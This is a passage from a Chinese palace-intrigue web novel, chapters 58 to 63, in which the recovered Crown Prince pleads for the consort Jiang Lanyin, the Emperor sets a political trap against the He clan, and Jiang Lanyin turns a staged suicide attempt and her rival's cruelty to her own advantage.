丽嫔的大宫女芳月连忙迎上去:“……皇上已经歇下了,有什么事儿也需明日再说。” 来的是御前太监,苏忠远。 他神色不动,“确有要事,劳烦姐姐通传。不然,耽误了,你我吃罪不起。” 芳月还要拦。 里面的顾辰枭听到声音,已经起身,“是苏忠远?” “正是奴才。皇上,您吩咐的事,妥当了。皇上可要去看看?” “不必传轿撵,朕走过去,比较快。” “是!” 没有一句交代,顾辰枭下榻,转身就走。 丽嫔窥着皇帝神色,不敢拦,只得急匆匆穿戴整齐,跟在身后,“臣妾恭送皇上圣驾。” 心愿落空。 皇帝一行人,几乎是顷刻间,就哗啦啦地走得影子都不见。 偌大瑞福殿正院里空空如也。 丽嫔起身,些微有些踉跄。 她刚才已经预备就寝,身上穿的薄,为送皇帝出来,不曾加衣。只在庭院中一瞬,便被冷风打透了身子,冻僵了膝盖,险些跌倒。 芳月连忙扶住,“娘娘,仔细身子。” “不知是哪个贱婢,非挑在本宫侍寝的日子生事!”丽嫔咬牙,“去,给本宫查出来,本宫要禀报皇后娘娘!” 又看了一眼漆黑一片的西配殿。 “她不是禁足,还不愿接驾吗?来人,把她的大门给本宫封上!让她好好儿禁足思过!” 封门的声音,惊醒江澜因。 雪色:“她们太过分了!不过,奴婢看着,那丽嫔气得够呛,脸都歪了。也不知是什么事……” 江澜因斜依在榻上,纤细的五指一下下梳着发尾,“是太子醒了。” 东宫。 被带回宫中这一日夜,顾言泽反复高热,醒了几次,又昏睡过去。 如今退了热,人已是清醒了。 为保密,顾言泽回来,并为传太医。 而是叫暗羽卫中擅医术的,进来给太子看病。 见皇帝来了,医官坤四跪下回禀:“……殿下身子骨儿原弱些,不久前又受伤中毒,并未全完养好,才一起发作出来。所幸年轻,一次高热发出所有毒性,是好事,往后需得好好儿静养。” “知道了。下去,朕有话要问太子。” 一进内殿,浓郁的药味传来。 顾辰枭先就皱了皱眉头。 顾言泽落地时不足月,又兼何贵妃难产,生出来,浑身青紫,几乎是个死婴。 是他不肯放弃,死命催促太医救治,才自鬼门关里抢回太子性命。 后来养在皇后膝下,皇后一向都说太子身子极好的。如今大了,怎么反倒羸弱起来? 顾辰枭:“太子,你乃一国储君,为何要假死?你心中,可还有朕这个父皇?” 第59章 求父皇,成全儿臣与因因 第五十九章 求父皇,成全儿臣与因因 “父皇,儿臣自知有罪……请父皇责罚。” 顾言泽不解释,只是请罪。他唇色煞白,挣扎着滚身下榻,说什么都要跪下行礼。 行动间,衣领翻卷开。 隐约可见锁骨下,一道伤痕。 那处,离心脏那样近。 顾言泽刚回宫时,坤四为他查体后禀报过:“……殿下身上,很多这半年来受的伤。有几处,险些致命。想是两军交战凶险……” 这话说得委婉。 皇帝却知道,他允太子代自己御驾亲征,是为太子累积军功,让他服众。 那仗本身,并不难打。剿灭一群乌合之众罢了。 还有靖南大将军坐镇。 太子不该有事。 况且这半年来的军报,皇帝日日都看,没禀过太子受伤,反而全是大胜。 是谁在蒙蔽他的眼睛? 皇帝垂眸,眼前是他自幼疼爱的儿子,何贵妃留在世上唯一的血脉。 不是一时兴起,而是九死一生回来。 顾辰枭伸手,扶住太子手臂。半年前太子出征时,那还是一条健硕,覆着薄肌的青年人的手。 现在,却那么枯瘦。 顾辰枭心口抽痛,面上却点滴不露,“言儿,朕是你的父皇,你受了伤,为何不禀朕?” 顾言泽眸中满是黯然。 那些人手脚干净,伤了他后马上自戕,不留活口。他心里知道是何皇后,却没有确凿的证据。 皇帝不会信的。 顾言泽:“……儿臣无能。” 皇帝面色微沉,“没查出来?” “……是。” 皇帝声音中带了薄怒,“朕要问镇南将军的责!” “父皇,不怪将军。”太子连忙阻拦,镇南将军暗地里早成了太子一党,不该受此事牵连。 顾言泽缓了口气,声音虚弱、嘶哑,“敢行刺储君,对方定然做了万全的准备。所以儿臣才冒险,假死诱敌。” 他眸子闪了闪,飞快地瞥了皇帝一眼,“只可惜……儿臣死遁回京,还未及查出什么,就病倒,惊吓了父皇。儿臣有罪……” 说罢,又是一阵剧烈的咳嗽。 随着太子的话,顾辰枭眉心悬针,皱起,又抚平。 太子这话,和那两个暗卫说的,八九不离十。 皇帝又追问了一句,“与女子无关?靖威侯府那个表姑娘?” “无关。”太子凛然,“儿臣本不喜她。” 皇帝点头,“你好生歇息。此事,朕定会查个清楚。” “……是。” 顾言泽恭顺地低下头去,眸中闪过一道极轻极快的讥讽。 父皇不是傻子,不是看不出…… 自己这个太子若是出事,最大的受益者是谁。 可何皇后是何家女,背后的何家是百年世族,改朝换代犹然屹立不倒的庞然大物。 更别说,自己这个太子的生母何贵妃,也是出身何家,不过是不受宠的庶女。 打鼠儿定会伤玉瓶。 对父皇来说,不划算。他就算查明了真相,也只会叫自己缓缓图之。 顾言泽又咳了几声,单薄的身子摇晃。他眸光一转,面露愧色,“是儿臣不孝,儿臣让父皇、母后忧心了。儿臣惭愧……” 咳得撕心裂肺。 顾辰枭:“此话不必再提。你有勇有谋,懂得自保,及时变通,这很好。只是不该不与朕通气。朕当真以为获罪于天,失去爱子……” “父皇!” 顾言泽眼眶发红,几乎落下泪来。 父子两个就这样原谅了彼此。 情绪稍稳后,顾言泽试探问道:“离三、离九,还有那小太监忠心……” 顾辰枭只是淡淡地,“朕另选暗卫给你。” 暗卫熬刑自尽,太监小武子承受了皇帝所有怒火,吐干净后,杖杀。回宫第一天,就都咽了气。 顾言泽眼中闪过一丝不忍,他飞快掩去,“儿臣多谢父皇。” 轻轻揭过,不再提那几条性命。 顾言泽:“靖威侯并不事先知情。还请父皇宽宥侯府。” 不然,因因恐会难过。 皇帝沉默不语,“靖威侯不知,侯夫人呢?朕看她,从头到尾知晓。” “她是因因的娘。”顾言泽深吸一口气,掩下情急失言的悔意,“父皇,因因她是儿臣的准妃。她家中有人获罪,会伤她的面子。她性子软,口中不说,心中必会难过。求父皇,宽宥侯夫人。” 顾言泽低着头,感觉皇帝目光沉沉地压在自己颅顶。 身周气氛瞬变,空气仿佛有实质一般,冰冷,寂静,沉重得叫人心口发闷,上不来气。 可,那是因因。 顾言泽必须要争。 太子:“求父皇,让儿臣把因因带走吧。她……她本就是儿臣的妻!” 好半晌。 皇帝开口,声音冷沉似玄铁,“她是你的妻?你死遁时,连她一起蒙在鼓里,累她险些殉葬。却将那文氏女带在身边。可见,她对你来说,并不重要。” “不、不是这样的!”顾言泽慌忙解释,“儿臣只是,还没来得及……儿臣这次去侯府,就是想要带因因走。儿臣不能没有她……” 落在身上的目光愈发冷锐,不留情面。 顾辰枭:“你急匆匆回来,要带走江澜因,不是因为不能没有她,而是因为……” 他一字一句,“听说了她要给朕做妃妾。你要把她抢回去。” 顾言泽脊背一紧,忙道:“父皇,儿臣没有那样的心思!” 他瞬间醒悟,皇帝是慈父。 可也是皇帝。 是皇帝,最忌讳的就是争抢。无论是权势、财富,还是女人。 他越是争抢,皇帝越是不会给他。 可,那是因因,他怎能放弃? 顾言泽深吸一口气,换了种语气,“儿臣与因因青梅竹马,一见倾心。还请父皇赐还……” “和你青梅竹马的,是那个文氏女吧?” 皇帝冷冷的一句,瞬间截断太子的话。 再要辩时,皇帝已冷笑一声,起身道:“你已有了文氏女,你还要因因,做妾?” “不,怎会……” 从前,顾言泽就是这么想的。可经过水下肌肤相亲,他们二人离得那么近,能感知到彼此的心跳……还有因因脸上的神情。 顾言泽怎么都不可能放弃江澜因。 “父皇……” “她已是朕的妃嫔,”皇帝咬着细白的牙,冷冷地笑了一下,“是朕的女人。此话,往后勿要再提。” 说罢,拂袖而去。 就要迈出殿门那一瞬。 顾言泽:“父皇,因因心中有我!她怎能做好您的嫔妃?儿臣求父皇成全!” 第60章 谁也不许照应江澜因 第六十章 谁也不许照应江澜因 皇帝脚步微微一顿,拧眉,没回头。 向坤四道:“为太子好生调养身体。东宫从即日起封闭,修葺,太子回来的消息,不准传出去。” 他虽气顾言泽不知分寸,觊觎江澜因。 可到底是他的亲生儿子。谁还要害太子,他必须要查清楚。 至于江澜因…… 一想到这个名字,顾辰枭心口忍不住地烦躁。在东宫一刻都再呆不下去,转身快步走了。 苏忠远迎上来,“陛下,可要回瑞福殿?” 那丽嫔素来是个麻烦的。半夜从她宫中出去,定要惹些口舌是非。苏忠远是在问,是否需要安抚。 瑞福殿……江澜因也在。 “不去。”皇帝眉心紧蹙,“唤黄贵人去朕寝宫候着。” “是。” 顾辰枭走出两步,又折返向书房方向。他眉心皱得愈紧,“叫落霞来见朕。” “是!” 御书房。 宫女落霞跪在下首。 若江澜因在此,一眼就能认出,这个落霞就是自己宫中两名宫女中的一个,与绣荷都是二等宫女,近身伺候。 皇帝:“她如何?” 落霞磕头,恭顺答道:“江嫔娘娘自被禁足,就郁郁寡欢,很少说话,喜欢一个人坐在窗口发呆。” “坐在窗口?她往窗外看什么?” 莫不是,思念东宫? “这……”落霞皱眉,拼命回忆,“江嫔娘娘似是在看……侯府的方向。她许是想家……” 皇帝:…… 轻咳了一声,顾辰枭:“她可说过怨怼之语?” 进宫第一日就遭禁足,说好的册封礼也没了。换做是谁,只怕都咽不下这口气。 皇帝放落霞在江澜因身边,就是想知道,她对自己有没有不满。 落霞:“不曾听娘娘说起过。” 她不怨他? 得到了想要的答案,不知为何心中更为不悦。 想起为入宫前的江澜因,那样爱哭。怎么进了宫,受了欺负,反倒不哭? 难不成是不在意他? 顾辰枭:“你去,把太子醒了的消息,小心透露给江嫔。她的反应,一五一十都回来禀报朕。” “是。” 落霞退下后,已近子时。 皇帝没回寝殿,就在御书房后面的套间里歇下。 第二日,落霞寻着机会来报: “江嫔娘娘已经知道了。她什么都没说,只是哭。” 顾辰枭心中愈躁。 哭?哭是什么意思? “当啷”! 手中茶盏歪倒在御案上,金橙色的茶汤流溢出来,模糊了宣纸上一大片字迹,全看不清了。 “皇上……” “让她哭去!”顾辰枭烦躁道:“她在禁足中,告诉内务府,不必特殊照应!” 落霞一愣。 皇上这是……在生江嫔的气?可,为什么?江嫔不是什么都没说,也没闹吗? 她这是……动辄得咎,怎么做都是错? 可真倒霉。 坤宁宫,每日清晨的例行请安。 江澜因在禁足,自然不必来。 丽嫔早早儿来了,将昨夜的事,添油加醋告诉何皇后,“……皇后娘娘,臣妾委屈!这是从前从未有过的事,皇上已经歇下了,又被叫走。臣妾往后都没有脸侍寝了!” 何皇后听了,似笑非笑,“那便撤下你的绿头牌,养一阵子也好。” 丽嫔是她的人没错。 可她才侍寝几次,就恃宠而骄,尾巴要翘到天上去。能借机敲打敲打,也好。 丽嫔见皇后不想管,只得委屈低头,“娘娘,若是旁的妹妹思念皇上,臣妾也不敢怨恨。只是……昨日来唤皇上的,是御前的人。臣妾想着,妃嫔争宠,不该把手伸到御前……” 咬唇,不敢再说。 何皇后果然脸色阴沉下来。 在皇帝御前安插自己人,理应只有自己这个皇后做得到。 何皇后挑唇冷笑,“本宫倒要看看,是谁有这么大能耐!” 诸妃嫔到齐,何皇后道:“……咱们一同侍奉皇上,该如亲生姊妹一般。若有人不择手段争宠,皇上已经歇下重又折腾起来,损伤龙体。本宫定不饶她。” 凤目在众人脸上转一圈。 何皇后:“昨夜是谁侍寝?自己站出来。” 众妃嫔面面相觑。 只见黄贵人娉娉婷婷出列,跪下叩首,“皇后娘娘,是臣妾。” 黄家是皇帝一手拔擢上来的,确有可能支使得了御前的人。 何皇后:“刚入宫几日,就这么等不及?敢从丽嫔宫里拉人,你该当何罪?” 黄贵人不敢抬头,“臣妾昨日不适,陪嫁丫鬟吓坏了,不知所措,才惊扰了皇帝……” “哪个丫鬟?这么不懂规矩,该打。” 黄贵人脸色白了白,“臣妾回去,定好生教导。” “你也不好,不明事理。”何皇后冷冷道,“就在外面跪两个时辰,好好思过。” “……是。” 众妃嫔散去时,都看见黄贵人跪在廊下。 说说笑笑的声音飘进她耳朵,她脸色愈发难看。 身边的丫鬟心疼地往黄贵人膝下垫软垫,“小姐,为何不说出实情?您这是何苦?” 昨夜,皇上传黄玉珠去寝殿。 让她空等了一夜。 丫鬟:“皇上分明就是拿小姐您做筏子!” “噤声。”黄玉珠脸色苍白,强撑着,“皇上当我是自己人,才这样做,知道我不会说出去。这是皇上信赖我。” “可、可小姐也太委屈了,膝盖都要跪伤!受伤不能伴驾……” “不委屈。” 黄玉珠苍白的脸上,现出一点笑意,“我受罚,受伤的事,定要传到皇上耳中,皇上只会怜惜我。我、我好不容易才进宫,定要为自己搏出个前程来!” 她在黄家,本不得宠,和小娘一起为黄夫人打压。 黄琳琅出了事,她才凭借姣好的容貌顶上。 要凭着皇帝对她微薄的怜惜,搏个出人头地! 另一边。 丽嫔回到瑞福殿。 一路上,怒火未消。 黄玉珠一个小小贵人,才入宫几日?就敢从她堂堂嫔位宫里抢人! 这一波秀女,果然都不安分! 都该死! 看向静悄悄的西配殿。 丽嫔咬牙笑道:“不经一番寒彻骨,怎闻梅花扑鼻香?好妹妹,你殿宇里暖和,只怕薰得人昏昏欲睡,不能好好儿思过,岂不浪费了皇后娘娘一片为你好的心思?” “来人,撤掉江嫔殿中炭火!往后也不许再给!这一个月,叫她好生思过!” 第61章 她明日就要解了这禁足 第六十一章 她明日就要解了这禁足 时值腊月,最冷的一个月。 不给江澜因炭火,是往死里折磨她。 就算她受得住,西配殿的下人也挨不住,都会在心里怨恨她。丽嫔此举,就算要不了江澜因性命,也为她埋下了祸胎。 看着小太监进来,把炭盆搬出去。 屋内一下子就凉下来。 落霞心中暗暗摇头。 这江嫔的性子,太软了些,一句都不敢为自己争取。腊月没有炭火,只怕有她熬的。 连带着所有下人都要受冻。 春枝担忧:“小姐,怎么办?” 江澜因:“去打开我嫁妆箱子,把里面的厚衣裳,不拘什么质地,都拿出来。” 落霞见了,只道是个笨法子。 不想,片刻后,春枝把一件棉氅,一件玄狐皮,双手捧着,要给落霞。 落霞大惊:“不是给娘娘取暖?这么好的衣裳,奴婢怎么配?” 她是皇帝心腹,好东西不知见过多少。可这么好的东西,只有主子才配享用。 春枝叹息:“娘娘自觉是自己连累大伙儿受罚,心中过意不去。丽嫔娘娘克扣炭火,咱们争不过,娘娘只能补贴。落霞姐姐,穿上吧,不然冻坏了,还得娘娘出钱抓药,不值当。” 她这话说得大声,旁的下人也都听得清清楚楚。 江嫔赏给他们御寒的好衣裳,许他们穿戴暖和。他们要是病了,娘娘还给他们治? 这江嫔的性子虽然绵软,无用。可…… 宫中从未出过这么好的主子。 竟把下人当人看。 绣荷眸光闪烁,连忙垂下睫毛掩住。 愣了愣,落霞终是把衣裳接到手里,掌心感受又轻又暖,果然是上好的料子。 她忍不住抬头,看向江澜因背影,摇了摇头。 年轻美丽,心软,不谙世事,又不得宠。 只怕江嫔在宫里的日子,不会好过。 果然。 大厨房送来的菜,愈发冷得无法入口。 一份白米饭里,竟混着冰碴。 丽嫔的丫鬟芳月掀开食盒看了一眼,轻蔑冷笑,报给丽嫔:“……依奴婢看,皇上是彻底厌弃了这江嫔。” 不然,内务府不敢如此苛待。 丽嫔笑道:“她不过如此。亏皇后那样忌惮她,不过是个无用的草包。” 西配殿里,雪色端着饭菜的手都在抖。 “小姐太委屈了。这些东西,无法入口。” 江澜因吸了一下鼻子,强忍哭腔似的开口:“别说了。雷霆雨露俱是君恩,既是皇上赏我的,怎能不吃?” 她一低头,泪珠儿银线一般,笔直坠入青瓷碗中。 窗外,落霞无声地叹了口气,终是去了。 她走后,院内假山洞里,一道模糊的暗影也在夜色中动了动。 江澜因再抬眸看过去时,已没了踪迹。 屋里只剩下雪色。 江澜因:“拿去倒了。” “是。小姐可要吃些什么垫垫肚子?” “不必。一顿而已,不吃也饿不死。” 雪色担忧道:“只不知这样的日子,什么时候是个尽头。小姐的身子,受不住……” 她话未说完,春枝引着一个人进来。 深褐色兜帽摘下,露出沉璧的脸。她跪下回禀,“……事情果如主子所料,都办妥了。” 江澜因扬眉,美目亮得灼人,笑容扬上脸来。 “禁足的日子过够了。明日咱们便得出去。” 几个丫鬟欢欣雀跃,“是!” 御书房中。 顾辰枭听完落霞的话,眸色黑沉,“……朕只是说不必额外照顾,内务府竟敢如此针对?” 落霞小心翼翼:“江嫔娘娘在秀女中位份高,许是遭人嫉恨。” “她不吵不闹,竟就这么受了?” “……是。只是,奴婢远远看着,娘娘似乎哭了。” 又哭。 只会哭。 江澜因湿漉漉的小脸,在眼前一闪而过。 顾辰枭眉心微皱,“明日是腊八,宫中要放腊八粥,你亲自看着,也给江嫔一碗。” 以示皇帝对她,尚未全然遗忘。 会让她的日子好过一点。 至于解江澜因禁足,皇帝没想过。何皇后今日恭顺勤勉,她的面子,皇帝要给。她的弟弟又刚打了胜仗,有军功,还不知道要如何赏赐。 江澜因没有那么重要,让顾辰枭破坏如今的局面。 再说,她和太子纠缠不清,皇帝不愿原谅。 “下去吧。”顾辰枭一挥手,“江嫔冲撞皇后,让她吃些苦头,是为她好。” 落霞一阵无语,“……是。” 另一边,东宫。 一个年轻侍卫跪在顾言泽跟前,“……殿下,江嫔娘娘吃不饱穿不暖,禁足的日子,就是如此。” 顾言泽脸色苍白,颧骨上浮现两团红云,是气的。 父皇非要霸着因因,却不善待她!可见父皇对她,没有一丝真心! 因因太可怜了。 侍卫抬头,见太子面露不忍,试探道:“属下无能,可寻着机会给江嫔娘娘送些吃食,总做得到。” 顾言泽回过神来,面色稍缓,“太难为你了。” “不难为的。”侍卫年轻的脸庞一亮,“是太子殿下救了小人娘、妹妹两条性命,小人本就无以为报。因位卑,能做得太少。如今能在些微小事上帮得上殿下,是小人三生有幸。” 顾言泽交代给江澜因送去些热乎吃食,打发那瑞福殿小侍卫走了。 因因在吃苦! 以她单薄的身子,没有炭火,没有好吃食,怎么熬过这个冬天去? 得快些把她从父皇身边,解救出来。不能再拖了。 这一夜的瑞福殿,静悄悄的。 西配殿的角门开了,又关,如是几次。没人在意,没人瞧见。 第二日一早,朝堂上却生了风波。 御史黄睿带头弹劾靖威侯府与江嫔。 说靖威侯治家不严,生女不教,纵得江澜因引诱皇帝于太子国丧期纳妾,令皇帝圣名有瑕。 是死罪。 该杀,方可平息天下物议。 一石激起千层浪,之前被顾辰枭压下去的议论,再次爆发。 抚远将军何锋尧刚戍边归来,风尘仆仆,粗声道:“此女原该殉葬,陛下为何留她性命?她刚进宫就冲撞我妹妹,中宫国皇后,妹妹性子好方容她性命。皇上岂可纵那江氏女,反伤了皇后娘娘的心?” 言语间,有指责顾辰枭的意思,十分不恭。 惹得龙颜大怒。 最后是何锋尧之父,首辅何希锐站出来。七旬的老臣,撩起衣摆,抬脚踢儿子,“皇上的家务事,轮得到你一个武夫胡乱插口?” 又跪下请罪,“求皇上看在小儿尚有军功,皇后娘娘无过的份儿上,宽宥小儿吧。” 第62章 让她禁足,她就闹自尽? 第六十二章 让她禁足,她就闹自尽? 皇帝右手攥拳,搁在御案上。手背上隐隐暴起青筋。 朝堂上,喧哗的众声寂静下去。 只听顾辰枭一声淡笑,“何将军是心疼胞妹,情有可原。何大人,你呢?不心疼你女儿?” 何希锐颤巍巍躬身:“芙儿嫁给皇上,是天家妇。不是臣等能随意置喙的。” 又踹了儿子一脚,“逆子,还不跪下请罪?” 何锋尧只得跪下,瓮声瓮气,“皇上,臣有罪。” “何罪之有?你有功才是。”顾辰枭见他认罪,声音缓了缓,“不过,咆哮御前,实是大罪。一点不罚,朕难以服众。” 何希锐:“……愿以犬子半数军功抵过。” 原本以何锋尧的军功,皇帝要赏赐银钱无数,还在其次。 关键是京畿营、锐健营,与直隶驻防的几支军队,何锋尧要借机荐他立了功的下属进去。 折一半下去,何家的人进不来,皇帝也没有隐忧。 甚好。 何家受罚,带头生事的黄睿却一点事儿都没有。 散朝后,何府。 关起门来,何锋尧犹自忿忿:“当初我就说,不该给言儿娶靖威侯家的姑娘,身份太低,没用!谁想那贱婢竟克死了言儿,她当真该死。妹妹该在她进宫第一天就杀了她。” “胡说!” 褪下官袍,何希锐龙钟的老态也褪了大半。他手中盘玩一把油亮的紫砂壶,歇在摇椅上,不忘训斥儿子: “你妹妹是皇后。对皇帝的妃嫔,能打,能罚,却不能直接打杀。你妹妹没有那么跋扈!” “不过一个小小的嫔,等风头过去,有一万种法子叫她死在后宫。只是,没想要言儿年纪轻轻,就那么去了……” 何锋尧眼眶微红了红。 顾言泽和三皇子顾承霖,都叫他舅舅,是他看着长大的。 何希锐耷拉下来的眼皮底下,锐光一闪,“言儿去了,还有霖儿。霖儿才是你妹妹嫡出的孩儿,咱们何家的指望。” 言儿的生母,是庶出。 貌美,刚烈,又倔强。 怀上皇长子后,就隐隐有了失控的苗头。 言儿养在芙儿膝下这些年,芙儿也常来家信说,孩子的性子,和他早逝的亲娘越来越像。 何锋尧:“可言儿是太子。如今太子薨,皇上什么时候立霖儿为太子?” “急不得,需缓缓图之,不能把他逼得太狠了。今日,小小一个江嫔,就废了你一半军功,咱们这位皇上,精于算计,早不是刚登基、地位不稳、要事事依仗咱们的时候了。家里不缺那些军功,让出一半,也是为了叫他安心。” 何锋尧拱手,“爹说得是。只是,那江嫔……” “小小后妃,不足为惧。等风头过去,你妹妹自会处置。” 御书房内。 黄睿跪下:“臣妄议宫闱,有罪。” “无事。卿的主意好。今日又借机辖制住何家,有功。” 解决了隐忧,顾辰枭心中愉悦,“朕看你儿子的策论,是个胸中有丘壑的。下半年去翰林院历练两年,出来朕还要栽培他。” “是!” 黄睿激动道:“多谢皇上!” 放黄睿出御书房,顾辰枭本想去坤宁宫看看何皇后。 帝王之道,也是权衡之道。 前朝罚了有功的何锋尧,后宫就要对何皇后稍事安慰。 还没走出御书房,落霞求见。 “她来做什么?宣进来。” 落霞面色焦灼,扑通跪下,“皇上,江嫔娘娘……自尽了。” 顾辰枭瞳仁巨震,霍地站起,“她如何了?边走边说!” “是。”落霞连忙跟上,“……娘娘是自缢,所幸发现得早,人已救下来,也差了宫女去传太医,皇上勿急,慢点……” 江澜因到底在想什么? 她不是不恨,不冤,谁的欺负她都忍着受着吗? 怎么又闹自尽? 可见根本不是真的不怨!是不敢怨! 一路疾走到瑞福殿,顾辰枭心跳很快,脊背都微微发了汗,被冷风一吹,一阵微凉。 一颗心翻涌着愤怒,猜忌,心疼,焦灼…… 诸般情绪混杂在一起,洪流一般,几乎将顾辰枭整个人淹没。 他经历过夺嫡,登基十载,自认处乱不惊,喜怒不形于色。 可这一刻,充斥内心的…… 只有后怕。 江澜因若死了……若真的死了……怎么办? 岂不是被他亲手害死的? 他不愿承受,手上不想沾一个小姑娘的血。 丽嫔没在瑞福殿,皇帝长驱直入,直接踢开西配殿的门,快步走进寝殿。 卧榻上,一袭妃红色鸳鸯戏水纹锦被下,露出江澜因一张苍白至极的小脸来。 白皙的脖颈上,一道深紫瘀痕。 顾辰枭第一眼看去,只觉得…… 她好瘦! 进宫才几日,怎么瘦了这么多?! ……是了。 落霞说过,她吃不好,睡不好…… 顾辰枭来到榻边,高大身影投下的阴影几乎要把锦被下小小的江澜因全然笼罩住。 “你……”顾辰枭顿了顿,调整语气,“你又在闹什么?禁足的日子是清苦了些,你受不住?” 看在皇帝那一刻,江澜因整张小脸亮起。 听清这话,又瞬间暗淡下来。 她张了张口,却因喉咙受伤,说不出话。 江澜因在枕上别过脸去。 皇帝只看到她白得几乎透明的小脸上,泪水顺着眼角,流进鬓中。锦被下,身子微微颤抖。 无声的哭泣,更让人心疼。 顾辰枭看跪在地上的宫女一眼,认出是江澜因的陪嫁丫鬟。 雪色磕头,哽咽着道:“小姐她是……是听了些闲话,说、说……朝堂上都攻讦她,说她该死。小姐说不愿连累皇上的清誉,就、就……” 顾辰枭皱眉。 不是因为禁足的日子熬不住? 不是因为皇后、丽嫔的苛待? 竟是因为那些无关痛痒的攻讦,流言蜚语? 皇帝伸手,撑着太阳穴,“因因,你……” 太傻了。 今日分明就是皇帝自己做的局。 目的就是为了削弱何家的军功和威望。 不过是用江澜因作筏子而已。 结果小姑娘年纪小,单纯,心思又重。 竟受不住要自尽! 都怪…… 那个黄睿! 谁让他骂江澜因骂得那样难听! 胸口剧烈起伏了片刻。心中诸般激烈的情绪褪去,只余下愧疚。 顾辰枭伸手,拭去江澜因面上泪滴。 一阵风自窗棂外吹进来,指尖发凉,几乎要凝成冰。 顾辰枭皱眉,明知故问:“怎么这样冷?炭火呢?” 无人敢答话。 小太监连忙弓着腰去搬来炭盆,燃得旺旺的,屋里瞬间暖和下来。 江澜因却撑起身子挣扎,“不、不可……丽嫔姐姐她、她不许……” 第63章 丽嫔倒大霉 第六十三章 丽嫔倒大霉 若是旁人这样直白说话,皇帝反而要怀疑是别有用心。 可因因…… 是不一样的。 她年轻,单纯,没有心机,性子又软。 她是真的害怕惹怒丽嫔。 丽嫔是她的宫主位,短短这几日,定是没少磋磨她。 皇帝皱眉:“不必管她。” 他待要再说什么。外面有太监报进来:“皇上,皇后娘娘和丽嫔娘娘来了。” 江澜因眼底划过一抹冷意。 来得真快! 不过,正好。 皇帝心中存了对丽嫔的不满,冷声道:“叫她们进来。朕要问问丽嫔,只是禁足,怎么就把好好儿一个人,折腾成这样?” 江澜因眸色更冷。 皇帝只提了丽嫔,却不怪始作俑者何皇后。 丽嫔今日怕是要倒霉了。 “臣妾参见陛下,陛下福寿安康。” 何皇后率先进门,丽嫔紧随其后,一张圆脸紧绷着。 “起来。”顾辰枭淡淡道。 “多谢陛下。” 何皇后起身,面上换了一副担忧心疼的神情,“臣妾听闻江嫔想不开自尽,急忙忙赶来。江嫔怎么样了?太医怎么说的?” 皇帝来时,太医已诊过脉。见状,连忙禀道:“……勒伤了喉咙,又有些风寒,伤到脾胃,需好生静养。” 江澜因自进宫,就被禁足,根本没出去过。 怎会风寒? 答案不言而喻。 何皇后威严地看丽嫔一眼,“你粗心!竟忘了给江嫔炭火。这么大冷的天,可不是要冻死她吗?” 一句话,说丽嫔不是故意的。 她是皇后的人,皇后还是要保一下。再说,本也不是什么大事…… 丽嫔刚站起身,忙又重新跪下。“皇上,皇后娘娘,是臣妾疏忽,臣妾知罪。” 皇帝当然知道,不是疏忽,是故意磋磨。 他冷冷看向丽嫔,“朕平日里,太纵着你了。” 声音极淡,初听不带情绪似的,丽嫔却打了个寒战,知道皇帝是动了气。 “臣妾、臣妾知道错了,皇上……” 泪水顺着丽嫔圆圆的脸庞流下,她委顿在地,楚楚可怜。 何皇后瞥她一眼,拧眉。 这个蠢货…… 顾辰枭果然怒斥:“你还敢哭?!莫不是还觉得委屈?” 丽嫔身子猛地一颤,不知所措地看向何皇后。 何皇后心里一叠声骂着,却也只能开口帮她说话,“皇上,丽嫔毕竟年轻,她从前一个人住瑞福殿,不会照顾人。往后慢慢儿会学会的。” 皇后也跪下,“皇上,臣妾只顾着教江妹妹规矩,没想着照应她的身体,臣妾也有错。” 皇帝若不罚皇后,必然不会太狠罚丽嫔。何皇后要保下她。 丽嫔蠢归蠢,脑子简单,却着实美丽。又好用,是何家特意为皇后寻来的一把好刀。 一妻一妾跪在跟前,顾辰枭久久不语。 江澜因是受了委屈,可她到底是自戕。 皇后和丽嫔虽不尽责,也只是看顾不周……算不得什么大错。再加上刚收了何家一半军功,不能狠罚…… 顾辰枭张了张口,正要说话。 “咳咳咳……” 一阵剧烈的咳嗽,江澜因在榻上躺不住,挣扎着半撑起身子,纤细的手死命捶打胸口,却根本平息不了这阵咳喘。 何皇后:“江嫔这是染了风寒?皇上坐到臣妾这边来,别过了病气……” 话未说完。 只见顾辰枭一把握住江澜因手腕,不让她捶打心口。又伸出另一只手,轻拍她后背。 眉宇间,满是心痛。 是全完不自觉流露出来的。 丽嫔也看见了,飞快地瞥了皇后一眼。何皇后面上担忧的神情险些挂不住,露出其后的狰狞来。 皇帝又道:“还愣着做什么?倒茶来,给江嫔润润嗓子,顺顺气。” “是!” 春枝手脚麻利,从桌上茶壶里倒出茶来,双手捧着奉上。 江澜因还在咳,手指发颤。 皇帝替她接过,竟要喂她喝! 江澜因目光自那杯沿上飘过来,眼中含着一抹隐秘的讥讽,飞快地瞥了皇后一眼。 何皇后根本忍不住,冲口而出:“皇上千金贵体,怎能……” “咣当!” 那杯茶没能喝进江澜因口中。 却是重重砸在了地上。 白玉釉描金富贵不断头斗笠杯,登时摔得粉碎。瓷片飞溅,差点划伤了皇后的脸。 她又惊又怒,“皇上?” “这就是你说的,只是不小心,不故意?没有炭火,茶水都浮着冰碴,她一个重病的人,你要她的命?” 眼睛看着丽嫔,这话却是对皇后说的。 禁足江澜因,说要教她规矩的,是皇后。丽嫔磋磨江澜因,皇后至少也是默许,是从犯。 皇帝心中重重顾虑,再束缚不住他的怒意。 没有炭火,挨饿受冻,他早先从落霞口中都听到过。可知道,和亲身体验不一样。 亲身受过,就知道有多难熬。 皇帝怒火几乎要攀升到极致,江澜因强忍咳嗽,挣扎着开口,“皇上误会了……丽嫔姐姐只是说炭火不利臣妾思过,不曾苛待、苛待过臣妾吃食。是臣妾,自己吃不下……” 顾辰枭看着江澜因瘦瘦的小脸。 为什么吃不下?还不是因为根本不能入口?? 剧烈的愧疚涌上来。 吩咐内务府不必照应江澜因的,是皇帝自己。此刻他全忘了,只觉都是丽嫔、皇后的错。 “不必为她求情。” 皇帝看向皇后,一字一句,“丽嫔德不配位,不配再做瑞福殿主位。这瑞福殿,往后的主位,是江嫔。” 何皇后和丽嫔都震惊地瞪大了眼睛。 江澜因才入宫几天?她还在禁足中呢!就让她当一宫的主位。大盛史上,前所未有! 江澜因苍白的唇挑了挑,看了皇后一眼,微微扬了扬下巴。 对丽嫔,她连一个眼神都欠奉。 何皇后实在压不住性子,“皇上,江嫔还在禁足,怎能……” “那你就解了她的禁足!” “可皇上,请安那日她确是晚了,连禁足都不罚,臣妾如何服众?”何皇后的脊背挺得笔直,拿规矩压人。 皇帝忍无可忍,黑沉的目光扫在她脸上。 “江嫔是因何才去得迟了,要朕来查吗?” 第64章 江澜因后悔了? 第六十四章 